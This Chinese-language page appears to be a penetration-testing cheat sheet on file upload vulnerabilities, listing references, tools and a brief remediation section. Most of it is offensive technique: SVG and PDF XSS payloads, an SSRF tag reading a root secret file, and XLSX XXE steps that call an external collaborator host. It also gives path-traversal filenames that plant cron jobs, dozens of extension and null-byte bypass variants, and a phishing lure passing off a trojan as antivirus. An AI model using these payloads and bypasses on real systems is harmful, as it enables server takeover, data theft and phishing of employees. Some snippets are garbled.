Upload
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
描述
文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传一些 webshell 文件。
相关文章
- 简单粗暴的文件上传漏洞
- BookFresh Tricky File Upload Bypass to RCE
- Upload_Attack_Framework
- 关于File Upload的一些思考
- Upload与WAF的那些事
- web安全-文件上传利用
- Web 安全漏洞之文件上传
- 文件上传绕过思路拓展
相关案例
- 实战渗透-看我如何拿下自己学校的大屏幕(Bypass) - 大量字符 bypass waf 文件上传
- 渗透测试tips:两处有趣的文件上传到getshell - 多个漏洞组合利用,无视 OSS 存储 getshell
- 实战渗透-从FCkeditor敏感信息泄露到Getshell - 利用 fck 的目录遍历找到上传点,fuzz 上传点的参数进行上传
- 简单记录一次有趣的上传 - bypass 反代小技巧
- 一次任意文件读取的getshell - 在函数调用获取文件的上传点,通过任意文件读找路径
- BountyHunterInChina/重生之我是赏金猎人(三)—无脑挖掘某SRC getshell.pdf
相关工具
- almandin/fuxploider - File upload vulnerability scanner and exploitation tool.
- PortSwigger/upload-scanner - HTTP file upload scanner for Burp Proxy
靶场
- upload-labs
- writeup : upload-labs-WalkThrough
在线 SQLi 测试
检测方法
waf、rasp 对上传文件的检测方法有这几种
- 后缀检测(黑白名单)
- 文件内容检测
- Content-Type 检测
- 后端二次渲染(图片裁剪、图片水印)
利用方式
网站脚本文件
如 asp、aspx、jsp、php 后缀的网站脚本文件,通过访问上传的 webshell 执行系统命令,获取服务器权限。
可造成 XSS 或跳转的钓鱼文件
-
html
-
svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
-
pdf
xssapp.alert('XSS');
ssrf
<link rel=attachment href="file:///root/secret.txt">
-
xml
服务器可执行文件(PE、sh)
配合社工手段,例如 : 最近办公内网发现大量勒索病毒,信息科紧急部署了新版杀毒引擎,请各部门人员立即下载,下载地址: www.xxx.com/upload/木马查杀工具.exe
mp4、avi
配合 ffmpeg 漏洞
shtml
ssi 注入
xlsx
XXE
- 创建一个 xlsx 文档,更改后缀为 zip,解压。
- 打开 Burp Suite Professional,单击 Burp 菜单并选择 “Burp Collaborator client” 将其打开, 复制到粘贴板。
- 找到 Content_Types.xml 文件,插入 xxe 代码到文件中。
- xxe SYSTEM "http://xxx.burpcollaborator.net"> ]>
- <x>&xxe;x>
- 重新压缩为 zip 文件,更改后缀为 xlsx。上传 xlsx 文档到目标服务器,如果没有禁用外部实体,就会存在 XXE 漏洞,burp 接收到请求。
路径穿越写 shell
- 例如可以上传文件名为
../../../../var/spool/cron/root
,通过这种方式执行命令 - 如果做了白名单后缀,只允许 jpg ,可以传到
/etc/cron.d/
目录下,这里文件可以任意后缀命名,上传文件名为…/…/…/…/…/…/etc/cron.d/test.jpg
绕过对应的安全检查
跨目录解压
相关工具
- ptoomey3/evilarc
- Rvn0xsy/zipcreater - 应用于跨目录的文件上传漏洞的利用,它能够快速进行压缩包生成。
- TheKingOfDuck/evilzip - evilzip lets you create a zip file(with password) that contains files with directory traversal characters in their embedded path.
Bypass
信息泄露
- 云平台 API key 泄露
解析漏洞
- IIS 解析漏洞
- Nginx 解析漏洞
- Apache 解析漏洞
- CGI 解析漏洞
恶意上传
- zip、mp4 占用资源
- HTML XSS
后缀检测
- 后缀名Fuzz
- AboutSecurity/Dic/Web/Upload/
- web通用
- htm
- html
- shtml
- .net
- asa
- asp
- ashx
- asmx
- aspx
- axd
- cdx
- cer
- config
- cshtm
- cshtml
- rem
- soap
- svc
- shtml
- vbhtm
- vbhtml
- java
- jsp
- jspa
- jsps
- jspx
- jspf
- php
- php
- php1
- php2
- php3
- php4
- php5
- phtml
- Misc
- txt
- svg
- xml
- xlsx
- 大小写(windows)
xxx.pHp
、xxx.Jsp
- 空格绕过
xxx .php
xxx.php
- 点绕过
xxx.php.
- 换行
xxx.txt%0aphp
xxx.ph\np
- .空格. 绕过(windows)
xxx.php .
xxx.php .jpg
xxx.php. .jpg
- 特殊字符
xxx.php::$DATA
(windows)xxx.php::$DATA......
(windows)xxx.php/
xxx.php?
xxx./php
(linux)
- 特殊字符+白后缀
xxx.php.jpg
xxx.php_.jpg
xxx.php/1.jpg
xxx.php{}.jpg
xxx.php;jpg
xxx.php;.jpg
xxx.php;+x.jpg
xxx.php:1.jpg
xxx.php.123
xxx.jpg/.php
xxx.jpg/php
xxx.jpg/1.php
xxx.jpg{}.php
- 双写绕过
phpphp.php
php.php
xxx.pphphp
xxx.asaspxpx
- 00 截断
file.jpg%00shell.php
shell.php%00file.jpg
shell.php%00.jpg
- .htaccess
- 中间件解析漏洞
- 参数
- 修改
filename="xx.php"
为filename==="xxx.php"
- 修改
filename="xx.php"
为filename='xxx.php'
- 修改
filename="xx.php"
为filename=xxx.php
- 修改
文件内容检测
- 免杀
- 添加图片头
GIF89a
- 大文件
- 参数污染
恶意覆盖
- 覆盖资源文件造成全局 XSS
- 覆盖配置文件修改配置
Content-Type 检测
- Content-Type Fuzz
后端二次渲染
- 图片马
访问拦截
- 路径
xxx.com/test/img/1.png/../../shell.php
- 解析
xxx.com/shell.php;/.png
软链接
如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者可利用程序读取到服务器的关键文件内容
修复方案
- 使用白名单校验上传文件类型、大小限制
- 随机重命名上传的文件
点击关注,共同学习!安全狗的自我修养